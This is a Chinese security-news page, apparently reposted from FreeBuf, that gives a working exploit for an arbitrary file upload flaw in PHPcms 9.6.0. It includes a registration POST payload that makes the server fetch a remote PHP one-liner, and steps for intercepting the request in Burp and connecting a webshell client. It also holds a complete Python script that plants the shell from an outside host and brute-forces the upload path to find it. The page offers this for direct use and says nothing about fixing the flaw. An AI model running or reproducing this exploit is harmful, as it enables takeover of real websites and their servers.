漏洞发布
首页 > 安全文摘 > 漏洞发布> 正文

PHPcms9.6.0 最新版任意文件上传漏洞(直接getshell)

PHPcms9.6.0 最新版任意文件上传漏洞利用方式

作者:三少来源:Freebuf|2017-04-11 21:58:06

*原创作者:三少,本文属FreeBuf原创奖励计划,未经许可禁止转载

对于PHPcms9.6.0 最新版漏洞,具体利用步骤如下:

首先我们在本地搭建一个php环境,我这里是appserv(只要可以执行php文件就行)

在根目录下新建一个txt文本文件里面写上php一句话,如上图可以访问

接着我们找到phpcms网站注册模块,随便填一下信息

然后我们用burpsuite抓包

然后发送到repeater

我们在最下面的注册那儿使用img标签插入我们本地第一步搭建的一句话

poc如下:

siteid=1&modelid=11&username=zf1agac121&password=aasgfaewee311as&email=a1ea21f94@qq.com&info[content]=<img src=http://192.168.1.157/templets/1.txt?.php#.jpg>&dosubmit=1&protocol=

只需要修改img里面的链接为你本地写入的一句话即可,还有要注意的是在repeater里测试go时每一次都要修改username,password和email字段值(不能重复,汗)

我们可以看到repeater里MYSQL query成功插入,接着访问上图repeater里我标黄语句,执行一句话

连接菜刀,getshell

利用方式二:

利用火狐的插件,操作如下

exp如下:三少

# -*- coding:utf-8 -*-
import requests
import sys
from datetime import datetime
def getTime():
    year = str(datetime.now().year)
    month = "%02d" % datetime.now().month
    day = "%02d" % datetime.now().day
    hour = datetime.now().hour
    hour = hour - 12 if hour > 12 else hour
    hour = "%02d" % hour
    minute = "%02d" % datetime.now().minute
    second = "%02d" % datetime.now().second
    microsecond = "%06d" % datetime.now().microsecond
    microsecond = microsecond[:3]
    nowTime = year + month + day + hour + minute + second + microsecond
    return int(nowTime), year + "/" + month + day + "/"
def main():
    if len(sys.argv) < 2:
        print("[*]Usage   : Python 1.py http://xxx.com")
        sys.exit()
    host = sys.argv[1]
    url = host + "/index.php?m=member&c=index&a=register&siteid=1"
    data = {
        "siteid": "1",
        "modelid": "1",
        "username": "dsakkfaffdssdudi",
        "password": "123456",
        "email": "dsakkfddsjdi@qq.com",
        # 如果想使用回调的可以使用http://file.codecat.one/oneword.txt,一句话地址为.php后面加上e=YXNzZXJ0
        "info[content]": "<img src=http://file.codecat.one/normalOneWord.txt?.php#.jpg>",
        "dosubmit": "1",
        "protocol": "",
    }
    try:
        startTime, _ = getTime()
        htmlContent = requests.post(url, data=data)
        finishTime, dateUrl = getTime()
        if "MySQL Error" in htmlContent.text and "http" in htmlContent.text:
            successUrl = htmlContent.text[htmlContent.text.index("http"):htmlContent.text.index(".php")] + ".php"
            print("[*]Shell  : %s" % successUrl)
        else:
            print("[-]Notice : writing remoteShell successfully, but failing to get the echo. You can wait the program crawl the uploadfile(in 1-3 second),or re-run the program after modifying value of username and email.\n")
            successUrl = ""
            for t in range(startTime, finishTime):
                checkUrlHtml = requests.get(
                    host + "/uploadfile/" + dateUrl + str(t) + ".php")
                if checkUrlHtml.status_code == 200:
                    successUrl = host + "/uploadfile/" + \
                        dateUrl + str(t) + ".php"
                    print("[*]Shell  : %s" % successUrl)
                    break
            if successUrl == "":
                print(
                    "[x]Failed : had crawled all possible url, but i can't find out it. So it's failed.\n")
    except:
        print("Request Error")
if __name__ == '__main__':
    main()

 

【责任编辑:三少 】

分享:

安全快讯+更多

湖南青年杨某沉迷“黑客”技术,利用国外网络攻击网站的攻击服务,花钱请人开发成软件后,通过QQ群推销,并发展代理商销售,8个月内获利数万元。
6月13日,由赛可达实验室、国家计算机病毒应急处理中心、国家网络与信息系统安全产品质量监督检验中心、首都创新大联盟共同举办的第五届中国网络安全大会(NSC2017)在北京国家会议中心隆重举行。
《中华人民共和国网络安全法》已于6月1日正式实施并成为我国网络空间法治建设的重要里程碑,在确立安全在整个信息系统建设中的核心和关键地位的同时,也对保护公众个人信息安全起到了积极作用。
Shadow Brokers(影子经纪人)回应想哭勒索蠕虫事件,同时公布了一个月度销售计划,称自6月开始,每个月都有高危0day、黑客工具、机密数据售卖。
勒索病毒“WannaCry”(永恒之蓝)在全球范围内的爆发,恐怕是这几天影响力最大的公共安全事件了。